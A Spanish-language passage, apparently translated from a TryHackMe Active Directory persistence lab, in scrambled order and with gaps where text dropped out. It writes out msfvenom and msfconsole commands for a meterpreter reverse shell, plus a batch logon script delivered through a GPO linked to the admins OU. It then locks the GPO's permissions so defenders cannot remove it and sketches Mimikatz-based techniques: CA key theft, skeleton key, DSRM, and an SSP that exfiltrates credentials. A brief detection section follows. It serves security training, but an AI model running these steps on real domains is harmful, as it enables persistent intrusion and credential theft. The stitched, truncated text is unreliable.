Hay muchos ganchos diferentes que se pueden implementar. Puedes jugar con los GPO para aprender sobre otros ganchos. Dado que ya utilizamos el primer gancho, Membresía de grupo restringido, en la sala Explotación de AD . Centrémonos ahora en el segundo gancho. Si bien tener acceso a todos los hosts es bueno, puede ser aún mejor si garantizamos que tengamos acceso a ellos cuando los administradores estén trabajando activamente en ellos. Para hacer esto, crearemos un GPO que esté vinculado a la unidad organizativa de administradores, lo que nos permitirá obtener un shell en un host cada vez que uno de ellos se autentique en un host.
Antes de que podamos crear el GPO . Primero necesitamos crear nuestro shell, nuestro oyente y el archivo bat real que ejecutará nuestro shell. Comencemos generando un shell ejecutable básico que podamos usar:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <username>_shell.exe
Asegúrese de agregar su nombre de usuario al nombre binario para evitar sobrescribir los shells de otros usuarios. Windows nos permite ejecutar scripts por lotes o PowerShell a través del GPO de inicio de sesión. Los scripts por lotes suelen ser más estables que los scripts de PowerShell, así que creemos uno que copie nuestro ejecutable en el host y lo ejecute una vez que el usuario se autentique. Cree el siguiente script llamado<username>_script.bat en AttackBox:
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\<username>_shell.exe C:\tmp\<username>_shell.exe && timeout /t 20 && C:\tmp\<username>_shell.exe
Verás que el script ejecuta tres comandos encadenados con &&. El script copiará el binario del directorio SYSVOL a la máquina local, luego esperará 20 segundos antes de ejecutar finalmente el binario.
Podemos usar SCP y nuestras credenciales de Administrador para copiar ambos scripts al directorio SYSVOL:
Finalmente, iniciemos nuestro oyente MSF:
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit"
Una vez completada nuestra preparación, finalmente podemos crear el GPO que la ejecutará. Necesitará RDP en THMWRK1 y usar una ventana de runas ejecutándose como administrador para los siguientes pasos.
El primer paso utiliza nuestra cuenta de administrador de dominio para abrir el complemento Administración de políticas de grupo:
En tu terminal generada por runas, escribe MMC y presiona Enter.
Haga clic en Archivo -> Agregar o quitar complemento...
Seleccione el complemento Administración de políticas de grupo y haga clic en Agregar
Haga clic en Aceptar
Debería poder ver el administrador de GPO :
Si bien técnicamente podemos escribir nuestro contenido en la Política de dominio predeterminada, que debería propagarse a todos los objetos AD , adoptaremos un enfoque más limitado para la tarea solo para mostrar el proceso. Puedes probar después para aplicar los cambios a todo el dominio.
Escribiremos un GPO que se aplicará a todos los administradores, así que haga clic derecho en la unidad organizativa de administradores y seleccione Crear un GPO en este dominio y vincularlo aquí. Asigne a su GPO un nombre como :username - persisting GPO
Haga clic derecho en su política y seleccione Aplicada. Esto garantizará que su política se aplicará, incluso si hay una política en conflicto. Esto puede ayudar a garantizar que nuestro GPO tenga prioridad, incluso si el equipo azul ha redactado una política que eliminará nuestros cambios. Ahora puede hacer clic derecho en su política y seleccionar editar:
Volvamos a nuestro Editor de administración de políticas de grupo:
En Configuración de usuario, expanda Políticas->Configuración de Windows .
Seleccione Scripts (iniciar sesión/cerrar sesión) .
Haga clic derecho en Iniciar sesión->Propiedades
Seleccione la pestaña Scripts .
Haga clic en Agregar->Examinar .
Naveguemos hasta donde almacenamos nuestros archivos binarios y por lotes:
Seleccione su archivo por lotes como script y haga clic en Abrir y Aceptar . Haga clic en Aplicar y Aceptar . Esto ahora garantizará que cada vez que uno de los administradores (niveles 2, 1 y 0) inicie sesión en cualquier máquina, recibiremos una devolución de llamada.
Para simular esto, restablezcamos la contraseña de una de las cuentas de administrador de Nivel 1 y autenticémonos en un servidor. Utilice cualquiera de las técnicas que ha aprendido en las salas de AD anteriores para restablecer la contraseña de uno de los administradores de nivel 1. Una vez hecho esto, recuerde iniciar su controlador múltiple MSF y probémoslo mediante RDP en THMSERVER1 o THMSERVER2.
Utilice sus credenciales de administrador de nivel 1, RDP en uno de los servidores. Si le da un minuto más, debería recibir una devolución de llamada en su controlador múltiple:
Nota: Debe crear un evento de inicio de sesión para que se ejecute el GPO . Si acaba de cerrar su sesión RDP, eso solo realiza una desconexión, lo que significa que no activará el GPO. Asegúrese de seleccionar navegar para cerrar sesión como se muestra a continuación para finalizar la sesión. Esto garantizará que se genere un evento de inicio de sesión cuando vuelva a autenticarse:
Ahora que sabemos que nuestra persistencia está funcionando, es hora de asegurarnos de que el equipo azul no pueda simplemente eliminar nuestra persistencia. Vuelva a sus ventanas de MMC, haga clic en su política y luego haga clic en Delegación:
De forma predeterminada, todos los administradores tienen la capacidad de editar GPO. Eliminemos estos permisos:
Haga clic derecho en CONTROLADORES DE DOMINIO EMPRESARIAL y seleccione Editar configuración, eliminar, modificar seguridad .
Haga clic en todos los demás grupos (excepto Usuarios autenticados) y haga clic en Eliminar .
Debería quedarte con una delegación similar a esta:
Haga clic en Avanzado y elimine el propietario creado de los permisos:
De forma predeterminada, todos los usuarios autenticados deben tener la capacidad de leer la política. Esto es necesario porque, de lo contrario, la cuenta del usuario no podría leer la política cuando se autentique para aplicar políticas de usuario. Si no tuviéramos nuestro script de inicio de sesión, también podríamos eliminar este permiso para asegurarnos de que casi nadie pueda leer nuestra Política.
Podríamos reemplazar los usuarios autenticados con computadoras de dominio para garantizar que las computadoras aún puedan leer y aplicar la política, pero evitar que cualquier usuario la lea. Hagamos esto para probar, pero recuerde que esto puede provocar que no reciba una devolución de llamada del shell tras la autenticación, ya que el usuario no podrá leer el script de PowerShell , así que asegúrese de probar su shell antes de realizar estos pasos. Después de esto no hay vuelta atrás:
Haga clic en Agregar .
Escriba Equipos de dominio , haga clic en Comprobar nombres y luego en Aceptar .
Seleccione Permisos de lectura y haga clic en Aceptar .
Haga clic en Usuarios autenticados y haga clic en Eliminar .
Inmediatamente después de realizar estos pasos, recibirá un error que le indicará que ya no podrá leer su propia política:
También puedes ver en la barra lateral que ya no podemos leer esta política:
Al realizar estos pasos, podemos asegurarnos de que incluso con el nivel más alto de permisos, el equipo azul no pueda eliminar nuestro GPO a menos que se haga pasar por la cuenta de máquina de un controlador de dominio. Esto hace que sea más difícil de descubrir en primer lugar, e incluso si descubren el GPO, sería increíblemente difícil de eliminar. Ya ni siquiera tenemos los permisos necesarios para interactuar con nuestra política, por lo que tendremos que permanecer allí hasta que se realice un restablecimiento de la red. Puede verificar que el GPO todavía se aplica mediante RDP en uno de los THMSERVERS.
Hay varias formas diferentes en las que podemos persistir en AD . Algunas de estas técnicas persisten mejor que otras. Para asegurarte de que el equipo azul no pueda eliminar tu persistencia, tendrás que pensar creativamente en tu perseverancia. Además, no debe esperar hasta que se comprometa todo el dominio para implementar la persistencia. Después de cada ronda de movimiento lateral y escalada de privilegios, se debe desplegar perseverancia.
En esta red, cubrimos varias técnicas que se pueden utilizar para persistir en AD. Esta no es de ninguna manera una lista exhaustiva. Aquí hay una lista de técnicas de persistencia que también merecen mención:
Cabe señalar también que esta sala se centró en las técnicas de persistencia en EA . Varias técnicas de persistencia local también pueden permitir la persistencia en los hosts. Si estos hosts están unidos a un dominio, también permitirá la persistencia en AD.
Puede ser difícil defenderse de la persistencia de la EA . En ciertos casos, la persistencia puede estar tan profundamente arraigada que se requiere una reconstrucción completa del dominio. Sin embargo, hay un par de cosas que podemos hacer para detectar la persistencia implementada:
Los eventos de inicio de sesión anómalos en la cuenta son la alerta más común de persistencia. Cada vez que las credenciales rompen el modelo de niveles, puede deberse a la persistencia.
Para cada una de las técnicas de persistencia mencionadas, se pueden escribir reglas de detección específicas, como casos en los que cambia la contraseña de una cuenta de máquina, las ACL se actualizan permisivamente o se crean nuevos GPO.
La mejor defensa contra la persistencia es proteger los recursos privilegiados. Aunque se puede utilizar el acceso con privilegios bajos para implementar la persistencia, las técnicas realmente aterradoras solo están disponibles una vez que un atacante ha adquirido acceso privilegiado al dominio.
Con esto concluye el módulo AD . Hemos aprendido los conceptos básicos de AD, cómo violar un entorno de AD, enumerarlo, realizar explotación y arraigarnos profundamente con persistencia. Este módulo es sólo una introducción. Todavía queda mucho que aprender sobre la seguridad de AD. ¡Es hora de extender tus alas y hacer tu propia exploración!
Verá bastante resultado, incluido el hash NTLM actual de su cuenta. Puede verificar que el hash NTLM sea correcto utilizando un para transformar su contraseña en un hash NTLM .
En la sala , aprovechamos los certificados para convertirnos en administradores de dominio. Sin embargo, los certificados también se pueden utilizar para la persistencia. Todo lo que necesitamos es un certificado válido que pueda usarse para la autenticación del cliente. Esto nos permitirá utilizar el certificado para solicitar un TGT. ¿La belleza de esto? Podremos seguir solicitando TGT por muchas rotaciones que hagan en la cuenta que estemos atacando. La única manera de que nos echen es si revocan el certificado que generamos o si caduca. Lo que significa que probablemente tengamos acceso persistente de forma predeterminada durante aproximadamente los próximos 5 años.
Si está interesado en una actualización sobre cómo solicitar un certificado y usarlo para la autenticación Kerberos, vaya a la sala o Sin embargo, en esta sala no estamos bromeando. Vamos tras la propia Autoridad Certificadora (CA).
La clave privada de la CA se almacena en el propio servidor de la CA. Si la clave privada no está protegida mediante métodos de protección basados en hardware, como un módulo de seguridad de hardware (HSM), que suele ser el caso de las organizaciones que solo utilizan los servicios de certificados de Active Directory (AD CS) para fines internos, está protegida por el API de protección de datos de la máquina (DPAPI). Esto significa que podemos utilizar herramientas como Mimikatz y SharpDPAPI para extraer el certificado de CA y, por tanto, la clave privada de la CA. Mimikatz es la herramienta más sencilla de usar, pero si quieres probar otras herramientas, echa un vistazo . Utilice SSH para autenticarse en THMDC.za.tryhackme.loc utilizando las credenciales de administrador de la Tarea 2, cree un directorio único para su usuario, muévase a él y cargue Mimikatz:
Ahora que tenemos la clave privada y el certificado de CA raíz, podemos usar la herramienta SpectorOps para falsificar un certificado de autenticación de cliente para cualquier usuario que queramos. Los binarios de ForgeCert y Rubeus se almacenan en el directorio C:\Tools\ en THMWRK1. Usemos ForgeCert para generar un nuevo certificado:
Podríamos usar algo como Mimikatz para agregar el historial de SID. Sin embargo, la última versión de Mimikatz tiene una falla que no le permite parchear LSASS para actualizar el historial de SID. Por lo tanto necesitamos usar algo más. En este caso, usaremos las herramientas para parchear directamente el archivo ntds.dit, la base de datos de AD donde se almacena toda la información:
Una de esas plantillas es el contenedor AdminSDHolder. Este contenedor existe en todos los dominios de AD y su Lista de control de acceso (ACL) se utiliza como plantilla para copiar permisos a todos los grupos protegidos. Los grupos protegidos incluyen grupos privilegiados, como administradores de dominio, administradores, administradores de empresa y administradores de esquema. Si buscas la lista completa de grupos, puedes encontrarlos .
: con Mimikatz, podemos implementar una llave maestra. Mimikatz creó una contraseña predeterminada que funcionará para cualquier cuenta del dominio. Las contraseñas normales seguirán funcionando, lo que dificulta saber si se ha producido este ataque. Esta contraseña predeterminada se puede utilizar para hacerse pasar por cualquier cuenta del dominio.
: los controladores de dominio tienen una cuenta de administrador interna llamada cuenta DSRM. Esta contraseña se establece cuando el servidor se promueve a DC y rara vez se cambia. Esta contraseña se utiliza en casos de emergencias para recuperar el DC. Un atacante puede extraer esta contraseña usando Mimikatz y usarla para obtener acceso administrativo persistente a los controladores de dominio en el entorno.
: al explotar la interfaz del SSP, es posible agregar nuevos SSP. Podemos agregar mimilib de Mimikatz como un SSP que registraría todas las credenciales de los intentos de autenticación en un archivo. Podemos especificar una ubicación de red para el registro, lo que permitiría a mimilib enviarnos credenciales a medida que los usuarios se autentican en el host comprometido, proporcionando persistencia.
: las contraseñas de las cuentas de máquina normalmente se rotan cada 30 días. Sin embargo, podemos alterar la contraseña de una cuenta de máquina, lo que detendría la rotación automática. Junto con esto, podemos otorgar a la cuenta de la máquina acceso administrativo a otras máquinas. Esto nos permitirá usar la cuenta de la computadora como una cuenta normal, con el único signo de persistencia siendo el hecho de que la cuenta tiene derechos administrativos sobre otros hosts, lo cual suele ser un comportamiento normal en AD, por lo que puede pasar desapercibido .
